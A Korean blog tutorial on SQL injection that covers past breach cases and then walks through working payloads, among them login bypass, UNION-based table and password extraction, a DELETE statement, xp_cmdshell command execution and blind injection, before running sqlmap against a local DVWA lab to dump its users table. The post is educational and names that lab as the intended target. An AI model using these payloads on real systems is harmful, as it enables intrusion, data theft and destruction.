[웹보안] SQL Injection

Posted in 보안 // Posted at 2019.01.28 12:51

SQL 인젝션은, 웹 보안 하면 가장 대중적으로 언급되는 공격 기법입니다. 

XSS와 함께 쌍두마차급으로 유명한 기법이지요. 꽤 오래전에, 이 공격에 대한 글을 한번 다룬적이 있는데요. 벌써 12년도 더 전이네요. 그때나 지금이나 SQL 인젝션의 공격기법이든 방어기법이든 크게 달라진 것이 없어 보입니다.

[웹 보안 시리즈] 2. SQL INJECTION

(대부분의 웹해킹이 그렇듯이) 웹 개발의 기본을 잘 이해하고 있다면, SQL 인젝션은 쉽게 이해하고 시도해 볼 수 있으리라 판단됩니다. 이 해킹 공격을 도와주는 자동화 툴도 쉽게 구할 수 있고요.

SQL 인젝션은 손쉽게 공격을 해 볼 수 있는 반면에 공격이 성공했을때그 파급력을 상당할 수 있습니다.

지금부터 알아볼 사례들을 보면, 이 진부한 공격기법이 아직까지 기승을 부리고 있다는 것을 알 수 있습니다.

SQL 인젝션 해킹 사례

먼저 SQL 인젝션으로인한 해킹 사례를 집어 보자. 국내의 비교적 최근에 발생한 가장 유명한 두 가지 사례를 먼저 알아보자.

사례1) '여기어때' 해킹


https://news.joins.com/article/21628794

2017년 3월, 유명한 숙박앱인 '여기 어때'가 해킹을 당했다. 대량의 고객 정보와 고객의 투숙정보가 해커에게 유출되었으며 이 중 수천명에게 '모텔서 즐거우셨나요?'라는 식의 협박성의 민망한 문자가 전송되었다고 한다.

기사에 따르면, 이 사건은 보안이 허술한 특정 웹 페이지를 대상으로 SQL 인젝션 공격을 시도해서 관리자 세션을 탈취하고 이 정보로 관리 페이지에 위장 로그인하여 고객의 개인정보를 유출했다고 한다.

‘여기어때’ 개인정보 99만건 유출…‘SQL인젝션’ 공격이 원인


사례2) '뽐뿌' 해킹

'여기 어때'  사건으로부터 약 2년전(2015년 9월), 커뮤니티 사이트로 유명한 '뽐뿌'에서도 SQL 인젝션 공격으로 200만명 가량 개인정보가 유출된 사례가 있었다.


http://www.korea.kr/policy/pressReleaseView.do?newsId=156081058

이러한 개인정보 유출은 해당 사이트에 대한 피해뿐만 아니라, 이미 유출된 개인정보가 언제 어떤 식으로 다시 악용되어 2차 피해로 이어질지 알 수 없다는 것이 더욱 문제이다.

사례3) 해외 사례

SQL 인젝션 해킹 사례는 비단 국내에만 있는 것이 아니다.

2015년, 해커그룹 어나미머스가 WTO 웹사이트를 SQL 인젝션으로 공격해 각 나라의 직원 개인정보를 탈취한 사건이 있었다.
어나니머스, WTO 웹사이트 공격…직원 정보유출


또한 2014년, 영국의 유명 여행 웹사이트가 SQL 인젝션 공격으로 신용카드 번호가 유출되었다고 한다.> 英정보위원회 SQL인젝션 공격 경고…피해사례 발생


그리고 2011년에는 소니가 해커집단(Lulzsec)으로부터 조롱당한 일이 있었는데, 이때도 역시 SQL 인젝션 기법이 사용되었다고 한다.
미국 FBI, 소니 해킹 용의자 검거


이외에도 조금만 찾아보면 SQL 인젝션으로 인한 다양한 해킹 사례를 확인할 수 있다.


SQL 인젝션 공격 비중

앞서 XSS와 함께 SQL 인젝션은 쌍두마차 격으로 웹에서 빈번히 일어나는 해킹 기법이라고 했다. 2016년 펜타시큐리티에서 발표한 '웹 공격 동향 보고서'를 살펴 보자

전체 해킹 시도 중, SQL 인젝션이 45% 즉 절반에 가까운 비중을 차지했다. 펜타시큐리티 측은 2016년 발생한 웹공격 사례 4건 중 3건이 SQL 인젝션과 XSS 기법으로 수행됐다는 조사결과를 발표했다.

그리고 글로벌 CDN업체인 CDNetworks의 '2016년 4분기 웹 공격 분석 보고서'를 보면 SQL 인젝션이 두 번째로 많이 시도되는 해킹 기법이라는 조사 결과를 내놨다.


SQL 인젝션의 위상(?)은, OWASP TOP 10에서도 확인할 수 있다.

OWASP Top 10은 2013년에 이어 개정한 2017년 버전에서도 '인젝션'이 랭킹 1위로 포지셔닝 하고 있다. 물론 OWASP에서 말하는 인젝션은 SQL 인젝션을 포함한 모든 유형의 인젝션을 일컫는다.


SQL 인젝션 개념

SQL 인젝션은, 웹 애플리케이션이 데이터베이스와 연동하는 모델에서 발생 가능하다.

이용자의 입력값이 SQL 구문의 일부로 사용될 경우, 해커에 의해 조작된 SQL 구문이 데이터베이스에  그대로 전달되어 비정상적인 DB 명령을 실행시키는 공격 기법이다.


[출처: 행정안전부 시큐어 코딩 가이드]


SQL 인젝션 공격 목적 및 영향

SQL 인젝션은 DB에 비정상적인 쿼리가 실행되도록 하여 다음과 같은 목적을 달성하고자 한다.

1. 인증 우회
SQL 인젝션 공격의 대표적인 경우로, 로그인 폼(Form)을 대상으로 공격을 수행한다. 정상적인 계정 정보 없이도 로그인을 우회하여 인증을 획득할 수 있다.

2. DB 데이터 조작 및 유출
조작된 쿼리가 실행되도록 하여, 기업의 개인정보나 기밀정보에 접근하여 데이터를 획득할수 있다. 또한 데이터 값을 변경하거나 심지어 테이블을 몽땅 지워버릴 수도 있다.

3. 시스템 명령어 실행
일부 데이터베이스의 경우 확장 프로시저를 호출하여 원격으로 시스템 명령어를 수행할 수 있도록 한다. 시스템 명령어를 실행할 수 있다면 해당 서버의 모든 자원에 접근하고 데이터를 유출, 삭제 할 수 있다는 말이 된다.


SQL 인젝션 공격 원리와 유형

SQL 인젝션은 데이터베이스 명령어인 SQL 쿼리문에 기반하여 공격을 수행한다. 공격에 이용되는 쿼리문은 문법적으로는 지극히 정상적인 SQL 구문이다. 다만 실행되지 말아야 할 쿼리문이 실행되어 공격에 이용되는 것이다.

SQL 인젝션은 최소한 다음의 조건을 충족해야 공격이 가능하다.

조건 1) 웹 애플리케이션이 DB와 연동하고 있다.

조건 2) 외부 입력값이 DB 쿼리문으로 사용된다.

웹 애플리케이션이 위 두 조건 중, 하나라도 충족하지 않는다면 SQL 인젝션 공격은 무용지물이 될 것이다. 그러나 현재의 대부분 웹 애플리케이션은 위 두가지 조건을 대부분 충족한다. 그래서 대부분의 경우 SQL 인젝션은 유효한 공격 기법이 될 것이다.


SQL 인젝션 공격 유형과 공격 기법

1. (일반적인) SQL 인젝션

굳이 '일반적인'이라는 용어는 붙일 필요가 없으나, 이어서 소개할 Blind SQL 인젝션과 구분하기 위함이다. 일반적인 SQL 인젝션 공격은 다음의 형태로 수행된다.

1) 쿼리 조건 무력화(Where 구문 우회)
Where 구문은 SQL에서 조건을 기술하는 구문이다. Where 조건에 기술된 구문이 '참(true)'이 되는 범위만 쿼리 결과로 반환된다.

해커는 이 Where 조건이 무조건 참이 되도록 쿼리를 조작하여 Where 조건을 우회하게 만든다.

예를 들어, 다음과 같이 로그인을 처리하는 동적쿼리가 있다고 가정하자. 외부 입력값인 UserID와 Password가 쿼리문의 일부로 사용되고 있다.

SQL = "Select * From Users"

       + " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"

먼저 SQL 구문의 주석(Comment)을 의도적으로 삽입하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 UserID 값에 주석을 삽입하면 주석 이하의 구문은 실행되지 않게 되어 admin이라는 계정의 패스워드를 몰라도 인증을 통과하게 된다. (admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)

[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나

[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'

또한 항상 참이 되도록 Boolean 식을 구성하여 Where 조건을 무력화 시킬 수 있다. 다음과 같이 Password 값에 참(true)인 조건이 or 로 연결되도록 삽입하면 or 조건으로 인해 쿼리의 결과가 무조건 참이되어 없는 계정과 다른 패스워드라 할지라도 (여기서는 test라는 계정은 실제 db에 없는 계정임) 인증을 통과하게 된다.

[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'

이와 같은 방식을 이요하여 인증을 우회하기도 하지만, 직접 데이터베이스 내용을 조작할 수도 있다. 다음과 같이 ;(콜론)으로 명령어를 연결하면 한 줄로 된 두 개이상의 명령어를 연속해서 기입할 수 있는데 여기에 테이블을 삭제하거나 수정하는 조작된 쿼리문을 삽입할 수 있다.

[ 외부 입력값 ]
UserIDadmin' ; DELETE From Users--
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'


2) 고의적 에러 유발후 정보 획득
또다른 기법으로는 의도적으로 SQL 구문 에러를 유발하여 웹 애플리케이션이 내뱉은 오류 정보에 기반하여 유용한 정보를 알아 차린다. 그 정보는 연속되는 또 다른 공격의 소재로 사용되기도 한다.

기본적으로 웹 애플리케이션은 쿼리 수행 중 오류가 발생하면 DB오류를 그대로 브라우저에 출력한다. 이 오류 정보를 통해 DB의 스키마 정보나 데이터가 유출될 수 있다.

가령, SQL 쿼리문에서 UNION 은 두 테이블의 결과를 합치는 명령어이다. UNION으로 합쳐지는 두 테이블은 컬럼 갯수가 일치해야만 오류가 나지 않는다. 아래와 같이 컬럼 1개만 가진 대상 테이블을 가정하여 UNION 구문을 삽입해 보자.

[ 외부 입력값 ]
UserID: testUNION SELECT 1 --
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1 -And Password='아무거나'

테스트용 Users 테이블은 4개의 컬럼으로 구성되어 있다. 따라서 위의 쿼리문이 실행되면 다음과 같은 오류가 발생하여 브라우저에 노출된다.

"UNION, INTERSECT 또는 EXCEPT 연산자를 사용하여 결합된 모든 쿼리의 대상 목록에는 동일한 개수의 식이 있어야 합니다." (SQL Server 기준)

컬럼 수가 몇개인지 모르는 해커는 하나부터 둘,셋,.. 늘리면서 입력을 반복해서 시도해 볼 것이다. 마침 4개의 UNION SELECT를 하는 순간 오류가 발생하지 않음을 알고 이 기능의 원본 쿼리가 반환하는 컬럼의 수가 4개인 것을 알게 된다. (참고로 MS SQL Server에서는 UNION 되는 컬럼끼리 데이터 타입이 충돌나면 타입 오류를 발싱시키므로 컬럼 타입을 맞출 필요가 있다.)

[ 외부 입력값 ]
UserIDtest' UNION SELECT 1,1,1,1 --
Password아무거나

실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' UNION SELECT 1,1,1,1 -And Password='아무거나'

이렇게 알아낸 컬럼 수를 기반으로 다음과 같이 시스템 테이블의 정보를 조회해 볼 수 있다. 다음의 쿼리가 실행되도록 SQL 구문을 주입하면 현재 데이터베이스에 존재하는 모든 테이블 목록을 볼 수 있다.
(아래 쿼리는 SQL Server 기준이다. 만일 MySQL이라면 information_scheme 데이터베이스의 테이블들을 사용하면 된다.)

Select * From Users Where UserID = 'test' UNION SELECT name, object, 1,1 FROM sys.tables -And Password='아무거나'

위와 같이 테이블 리스트 조회에 성공했다면, 테이블 목록 중 구미가 당기는 테이블을 선택해서 그 테이블에 저장된 데이터를 획득할 수 있다. 다음의 예에서는 결제(Payment)로그가 담긴 PaymentLog 테이블의 UserID와 카드 번호 유출을 시도하는 쿼리이다.

Select * From Users Where UserID = 'test' UNION SELECT UserID, CardNo, 1, 1 FROM PaymentLog -And Password='아무거나'

물론 이렇게 공격에 성공하려면 컬럼명도 알고 때론 타입도 알아야 할 경우가 생긴다. 과거에 정리했던, 아래의 글에서 컬럼명을 알아내거나 타입을 알아내는 방법을 참고하도록 한다.

[웹 보안 시리즈] 2. SQL INJECTION


3) 시스템 명령어 실행
MS SQL Server의 경우 시스템 명령을 실행할 수 있는 확장 프로시저를 제공한다. xp_cmdshell 프로시저를 이용한다. 다음과 같이 UserID 값에 ;(콜론)으로 xp_cmdshell 실행 구문을 연결하고 이후 구문은 주석처리 되도록 하여 윈도우 C 드라이버를 탐색하는 명령을 보낸다. 이 계정에 유효한 권한이 주어져 있다면 어떤 시스템 명령도 내릴 수 있게 된다.

[ 외부 입력값 ]
UserIDadmin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'--
Password: 아무거나

[ 생성된 쿼리문 ]
Select * From Users Where UserID = 'admin' ; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'-- And Password='아무거나'

참고로 각 DBMS마다 SQL 구문이 조금식 차이가 나므로, SQL 인젝션 공격시 해당 DBMS가 지원하는 구문을 잘 알고 사용해야 한다. 다음의 사이트에서 각 DBMS별로 서로 상이한 구문을 상세히 안내하고 있으니 참고 바란다.

> SQL Injection Cheat Sheet


2. Blind SQL 인젝션

앞서 일반적인 SQL 인젝션 공격에서는 쿼리 조건을 무력화하여 인증을 우회하거나, 출력된 에러 내용에 기반하여 DB의 스키마 정보를 획득한 후, 쿼리 결과에 정보를 붙여서(UNION) 데이터를 유출하거나 시스템 명령어를 삽입하는 형태로 공격이 진행되었다.

그러나 만일 공격하는 대상 웹페이지가 어떠한 오류도 출력하지 않고 쿼리 결과 리스트도 제공하지 않는다면 이러한 공격 패턴으로는 해킹에 성공하기가 쉽지 않다. (다시말해, 에러 내용으로 DB 정보를 유추할 수도 없고, 쿼리 결과 데이터를 제공하지 않기 때문에 UNION 같은 쿼리를 삽입하여 데이터를 붙여 볼 수도 없는 것이다.)

이럴 경우, 유용하게 사용할 수 있는 공격 기법이 바로 Blind SQL 인젝션이다. 

한마디로, Blind SQL 인젝션은 쿼리 결과의 참/거짓으로부터 DB값을 유출해 내는 기법이다.

이 공격을 수행하려면, 먼저 웹 애플리케이션에서 쿼리 결과에 대해 참/거짓을 반환하는 요소를 찾아야 한다. 예를 들어 'ID 찾기'나 '게시판 검색'과 같은 기능에서 참/거짓을 판별하는 요소를 찾을 수 있다.


1) Boolean-based Blind 공격
가령 어느 웹사이트가 게시판 검색이라는 기능을 제공할 경우, 다음과 같이 참/거짓의 반환을 테스트 해 볼 수 있다.

[ 외부 입력값 ]
제목검색hello' AND 1=1-- (유효한 검색단어와 항상 참이되는 조건 부여)

[결과]
게시판 검색됨  --> 참(true)이으로 간주

---


[ 외부 입력값 ]
제목검색hello' AND 1=2--  (유효한 검색단어와 항상 거짓이 되는 조건 부여)

[결과]
게시물 검색 안됨 --> 거짓(false)으로 간주

'hello'라는 검색어에 항상 참인 조건(1=1)을 AND로 조합하니까 정상적으로 결과가 반환되었다. 반면 동일한 검색어(hello)에 항상 거짓인 조건(1=2)을 AND로 조합하니가 구성하니 게시판 검색이 되지 않았다. 이 둘을 참과 거짓의 반응으로 간주할 수 있다.

즉 핵심은 게시판 검색 기능을 참/거짓을 반환하는 요소로 사용할 수 있다는 점이다. 여기에 AND 조건으로 해커가 알고 싶은 쿼리 조건을 삽입해서 그 결과로부터 정보유출이 가능한 것이 Blind SQL 인젝션 공격 기법이며 이중에서도 AND 조건에 논리식을 대입하여 참/거짓 여부를 알아내는 방식을 Boolean-based Blind 공격이라 한다.

2) Time-based Blind 공격
앞서 게시판 검색에서는 검색 결과의 유,무로 참/거짓을 판별할 수 있었다. 그러나 어떤 경우에는 응답의 결과가 항상 동일하여 응답결과만으로는 참/거짓을 판별할 수 없는 경우가 있을 수 있다.

이럴때는 시간을 지연시키는 쿼리를 주입하여 응답 시간의 차이로 참/거짓 여부를 판별할 수 있다.

게시판 검색 시나리오에서 Time-based Blind 공격을 시도해 보자.

MS SQL Server 환경

[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello' ;  IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:5'-- 

[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' ;  IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:2'

[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> 시스템 계정이 sa임
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> 시스템 계정이 sa가 아님

My SQL 환경

[ 외부 입력값 ]
(DB의 시스템 계정이 sa 인지 판별하는 구문 삽입. 여기에서 검색어(hello)는 중요하지 않음)
제목검색: hello AND sleep(5)#

[실행되는 쿼리]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND sleep(5)

[결과]
1) 응답이 5초간 지연됨 -> 참(true) --> hello 검색어가 존재함
2) 응답이 즉시 이뤄짐 -> 거짓(false) --> hello 검색어가 존재하지 않음


이렇듯 Time-based Blind 공격은 쿼리 지연을 유도해 응답 시간에 걸리는 시간으로 참/거짓을 판별하게 함으로써 DB의 유용한 정보를 캐낼 수 있게 된다.

정리하자면, Blind SQL 인젝션은 쿼리 결과가 참일때와 거짓일때의 서버의 반응 만으로 데이터를 얻어낼 수 있는 SQL 인젝션 공격 기법이다. 이 기법은 많은 조건에 대한 비교과정을 거쳐야 의미있는 정보를 얻을수 있기 때문에, 거의 모든 경우 자동화 툴을 사용해서 공격이 진행된다.


Blind SQL 인젝션 공격 시나리오

해커는 게시판 검색 기능을 이용하여 회원 테이블의 비밀번호를 알아내고자 한다. 이미 다양한 공격 시도로 회원 테이블명이 Users라는 것을 알고 있거나 유추했다고 가정한다.

1. (앞서 해 본 것 처럼) 해커는 게시판 검색 기능으로 참/거짓을 판별할 수 있다는 것을 알아 냈다.

2. 해커는 회원 테이블에서 특정 회원의 비밀번호를 알아내고자 다음과 같은 쿼리를 주입한다.

(DB는 MS SQL Server 라고 가정함)

[ 외부 입력값 ]
hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 90

[ 실행되는 쿼리문 ]
SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 91

회원 테이블에서 'admin'이라는 계정의 패스워드를 알아 내려고 한 해커는....

항상 참(true)을 반환하는 조건(여기서는 게시판 제목 검색에 'hello'라는 검색어) 뒤에 AND 조건으로 회원 테이블의 패스워드에서 첫 문자를 가져와서 아스키코드로 변환하여 그 결과를 아스크 코드값과 비교한다. 먼저 대소분자 여부를 알아내기 위해 아스크 코드 91 보다 큰지 검사한다.

아스키코드 90은 대문자 'Z'의 아스키 값으로 이 값보다 크다는 말은 패스워드 첫 글자가 소문자로 구성되었다는 의미가 된다.(아스키 코드 테이블 참조)

패스워드 첫 글자가 소문자인 것을 알아낸 해커는 계속해서 다음과 같은 공격을 연속적으로 시도한다.

SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 110 -- true


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 115 -- false


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 113 -- false


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 111 -- true


SELECT * FROM TB_Boards WHERE Title = 'hello' AND ASCII(LEFT((SELECT Password From TB_Users WHERE UserID = 'admin'), 1)) > 112 -- false

이렇게 총 6번을 시도해 본 결과, 패스워드 첫 글자가 소문자 'P' 라는 것을 알게 된다.
(111보다 크다는 조건에서는 true 값을, 112보다 크다는 조건에서는 false를 반환했으니 결과는 112로 영어 소문자 p가 되는 것이다)

이런식으로 한 글자씩 아스키값을 비교해서 전체 패스워드를 알아 나가는 방식으로 공격이 수행된다. 

SQL 인젝션 공격 실습

[ 경고 ]
허가 받지 않은 사이트에 해킹을 시도 하는 것은 불법입니다.
DVWA와 같이 테스트를 목적으로 셋팅된 사이트에 모의 해킹을 시도해야 법적 문제가 업습니다.


SQL 인젝션 취약성 판단

SQL 인젝션 공격을 시도하기 전에 공격 대상 웹 애플리케이션이 SQL 인젝션에 취약한지 먼저 알아 보는 것이 좋다. 보통 자동화 툴을 통해 스캐닝을 한번 쭉 해 보면 쉽게 알 수 있지만 간단한 테스트로도 알아 볼 수 있다. 

제일 간편하게 알아 볼 수 있는 방법은 사용자 입력값에 '(싱글쿼터)를 주입해 보는 것이다.

만일 싱글쿼터를 입력했는데, 사이트가 오류를 내 뱉으면 SQL 인젝션에 취약하다는 의미가 된다. 공격 대상 웹 애플리케이션의 다음과 같은 입력요소에 싱글쿼터 주입을시도해 볼 수 있다.

- 로그인 창
- 게시판 검색창
- 사이트 전역 검색창
- GET URL의 파라메타값
- 기타 외부입력값으로 보이는 모든 곳


DVWA 사이트에서 SQL 인젝션 공격 실습

1) (일반적인) SQL 인젝션 공격 실습

로컬에 셋팅된 DVWA 사이트(http://localhost/dvwa)를 브라우저로 접속하고 로그인(admin / password) 한다. 만일 DVWA 사이트에 접속되지 않는다면 XAMPP Control Panel에서 Apache와 MySQL 이 시작되었는지 확인한다.

DVWA 사이트가 로컬에 셋팅되지 않았다면, 다음 글을 참고하여 로컬 환경을 마련한다.

> [웹보안] 로컬 환경 셋팅과 툴 설치

DVWA 사이트에 접속하면 다음 화면과 같이 SQL Injection과 SQL Injection(Blind) 메뉴를 볼 수 있다. 먼저 SQL Injection 메뉴를 들어가서 SQL 인젝션 공격을 시도 해보자.

DVWA 사이트의 Security 레벨을 Low로 설정하는 것을 잊지 말자. Security 레벨에 대해서는 다음의 글을 참고한다.

https://m.mkexdev.net/426

이 페이지는 User ID를 입력하면 회원 정보를 간단히 출력하는 기능을 제공한다.
(DVWA 데이터베이스는 1~5까지의 User ID가 기본적으로 저장되어 있다. 1~5 중 아무거나 입력해서 테스트 해 보면 출력 결과를 볼 수 있다)

User ID라는 외부 입력값을 주입할 수 있는 기능을 찾았으니 이 페이지가 SQL 인젝션에 취약한지 먼저 테스트 해 본다. 앞서 설명 했듯이, '(싱글쿼터)를 입력해서 응답을 보니 오류 메시지가 출력되는 것을 확인할 수 있다. 따라서 이 페이지는 SQL 인젝션에 취약한 것을 확인한 것이다.

이제 User ID에 공격용 SQL 구문을 삽입해 보자. DVWA 사이트는 MySQL DB를 사용하므로 MySQL용 SQL 구문을 사용해야 한다.

다음은 SQL 구문 삽입에 대한 결과를 설명한다

1' or 1=1#  (결과)모든 User 정보가 노출되어 버림(조건이 항상 참이 되어 버려 모든 행(row) 출력)

1' union select 1,1# (결과)오류 없음. 즉 컬럼 갯수가 두개라는 것을 알아냄

1' union select schema_name, 1 from information_schema.schemata# (결과)서버의 데이터베이스 이름이 모두 노출됨

1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa'# (결과)dvwa 데이터베이스에 포함된 테이블과 컬럼이름이 모두 노출됨.

(MySQL의 information_schema는 해당 서버의 모든 DB의 메타정보를 저장해둔 데이터베이스이다. UNION 구문을 주입하여 information_schema에 있는 각종 정보를 조회해 볼 수 있다.)

이제 앞서 공격을 통해, dvwa라는 DB에 users라는 테이블이 있으며 이 테이블의 컬럼들을 모두 알아 내었다. 마지막 공격 테스트로 다음과 같이 users 테이블에 user 이름과 password를 조회해 보자

1' union select user,password from users# (결과) users 테이블의 모든 사용자에 대한 이름, 패스워드가 노출됨


2) Blind SQL 인젝션 공격 실습

이제 DVWA 사이트에서 Blind SQL Injection 메뉴로 이동하자. SQL Injection 메뉴와 동일하게 User ID를 입력받는 페이지가 로딩된다.

여기에 '(싱글쿼터)를 입력해보자. 

이번에는 아무런 오류가 나지 않는다. 즉 SQL 인젝션 공격에 취약한지 일단을 알기 힘들다.

그리고 정상적인 User ID를 입력해도 '아이디가 존재한다'는 안내 메시지만 노출될 뿐 특별한 추가 정보를 보여주진 않는다.

그렇다면 이제 이 페이지가 참/거짓을 판별할 수 있는 요소인지 테스트 해 보자. User ID에 다음과 같이 입력하고 결과를 보자.

1' AND a=b# (결과) User ID가 없다는 결과를 출력함

1' AND a=a# (결과) User ID가 존재한다는 결과를 출력함

존재하는 ID인 1을 입력하고 AND 조건으로 항상 참(true)이되거나 거짓(false)이 되는 조건을 주입하니까 그 결과로 서로 다른 결과를 보여준다. 여기서 우리는 이 페이지가 Blind SQL 인젝션에 활용할 수 있는 즉 참/거짓을 반환하는 요소임을 눈치 챌 수 있다.

이제 다음과 같이 Time based 공격을 시도해 보자.

1' AND sleep(5)# (결과) 응답시간이 5초가 걸림

6' AND sleep(5)# (결과) 즉각 응답함

존재하는 ID일 경우, 응답에 5초가 걸리는 것으로 보아 이 조건은 참이 되어 1이라는 ID가 존재한다는 의미가 된다. 반면 6을 입력하면 거짓이 되어 그 뒤의 조건인 sleep(5)가 실행되지 않아 즉각 반환하게 된다. 결국 여기서 우리는 6이라는 User ID는 존재하지 않는다는 것을 알 수 있다.

이제 참/거짓을 판별할 수 있는 요소를 이용해서 유용한 정보를 캐내어 보자

User ID가 1인 사람의 first_name을 알아 내는 과정을 시도해보자. 아래처럼 차례대로 입력해서 결과를 보자.

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 91# (결과) false

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 110# (결과) false

1' and ascii(substr(select first_name from users where user_id='1'), 1, 1) > 100# (결과) false

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 95# (결과) true

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 97# (결과) false

1' AND ascii(substr((select first_name from users where user_id='1'), 1, 1)) > 96# (결과) true

96보다는 크고(true) 97보다는 크지 않는 아스키코드의 문자는 바로 'a'가 된다. 이렇게 first_name의 첫 글자를 알아 내었다. 이런식으로 두번째, 세번째 글자를 하나씩 알아낼 수 있게 된다.


3) 툴을 이용한 자동화된 Blind SQL 인젝션 공격 실습

앞서 수동으로 Blind SQL 인젝션 공격을 시도해 보았다. first_name 하나만 알아내는데도 많은 비교 과정을 거쳐야 한다. 따라서 이와같은 공격은 툴로 자동화해서 시도하면 공격 효율이 훨씬 높아진다.

SQL 인젝션에 가장 흔히 사용되는 툴인 SQL Map를 사용해 볼 것이다.

[ SQL Map 설치(윈도우) ]

1) 파이썬 설치(SQL Map는 2.6.x 또는 2.7.x 버전에서만 동작함)

2) http://sqlmap.org 에서 ZIP 파일 다운로드 받아서 압축풀기

3) 명령프롬프트(cmd.exe)에서 해당 폴더로 이동 후 명령어 실행
    ex) python sqlmap.py --help

SQL Map 으로 다음의 명령을 실행할 것이다.

python sqlmap.py -u "공격 대상 URL" --cookie="사이트 쿠키값"

여기서 공격 대상 URL은 DVWA 사이트의 Blind SQL Injection 메뉴에서 User ID를 입력하고 전송(Submit)한 URL이 되며, 쿠키 정보는 크롬 브라우저 개발자도구(F12)에서 확인 가능하다.
(DVWA 사이트는 인증을 해야 들어갈 수 있기 때문에 인증값인 쿠키가 필요하다.)

이 명령어를 채워서 다음과 같이 공격을 시작해 보자.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn"

다음과 같은 콘솔 결과를 확인할 수 있다.

콘솔의 내용을 보면, id라는 GET 파라메타를 이용해서 AND Boolean-based Blind 공격이 가능할 것 같다는 메시지를 확인할 수 있다. 그리고 데이터베이스가 MySQL 같아 보이며, 다른 DBMS에 대한 공격은 건너 뛸 것인지 물어보고 있다. 여기서 Y(기본값)를 입력하고 엔터를 친다.

그러면 다음과 같이 선택을 요구한다.

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

MySQL 대한 모든 테스트를 포함할 것인지 두는 것인데 역시 Y(기본값)을 선택하고 다시 엔터를 친다.

이제 SQLMap이 공격을 자동을 수행한다. 중간중간에 옵션에 대한 질문이 나오면 기본값(Y)로 해서 계속 진행한다.

최종적으로 다음과 같이, id 파라메타가 취약하다는 것을 알리며 다른 파라메타를 계속 테스트 할 것인지 물어본다. 

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

여기서는 N(기본값)을 선택하고 계속 진행하면 최종 결과가 다음과 같이 나타난다.

id 파라메타를 이용해서 boolean-based blind와 error-based, AND/OR time-based blind 공격이 가능하다고 알려 주고 있으며 웹서버의 종류와 버전, 개발언어, DBMS 종류와 버전을 알려준다.

이제 SQL 인젝션 공격이 가능하다고 나왔으니 본격적으로 공격을 시도해 보자.

DB 명 알아내기
다음 명령어를 실행해서 DB 명을 알아 낼 수 있다.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" --current-db

명령이 실행되면 콘솔 출력에 다음과같이 DB명이 나타난다.

current database:    'dvwa'

테이블명 알아내기
DB명을 알아 냈으니 이번에는 다음의 명령어로 해당 DB에 존재하는 테이블들을 조사해 보자.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -D dvwa --table

결과를 보면 dvwa 데이터베이스에는 guestbook과 users라는 테이블이 존재한다는 것을 확인할 수 있다.

테이블에 저장된 데이터 알아 내기
users가 회원테이블임을 직감하고 이 테이블의 내용을 획득하고자 한다. 다음의 명령어를 실행한다.

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; _ga=GA1.1.1921041872.1534152252; PHPSESSID=8dknegkogthdhj1ibr615f9iqn" -T users --dump

결과는 users 테이블에 저장된 모든 회원정보가 나타난다. 샘플 화면에는 admin, Brown 이라는 사용자가 있고 패스워드가 해시된 형태로 저장되어 있음을 확인할 수 있다.

이어서 SQLMap은 다음과 같이 해시된 패스워드를 사전 공격(Dictionary Attack)으로 크래킹 시도를 할 것인지 물어본다. 이때 어떤 사전(Dictionary)파일을 사용할 것인지 확인한다. 모두 기본값으로 계속 진행한다.

해시된 패스워드를 사전 공격으로 하나씩 크래킹을 시도한다.

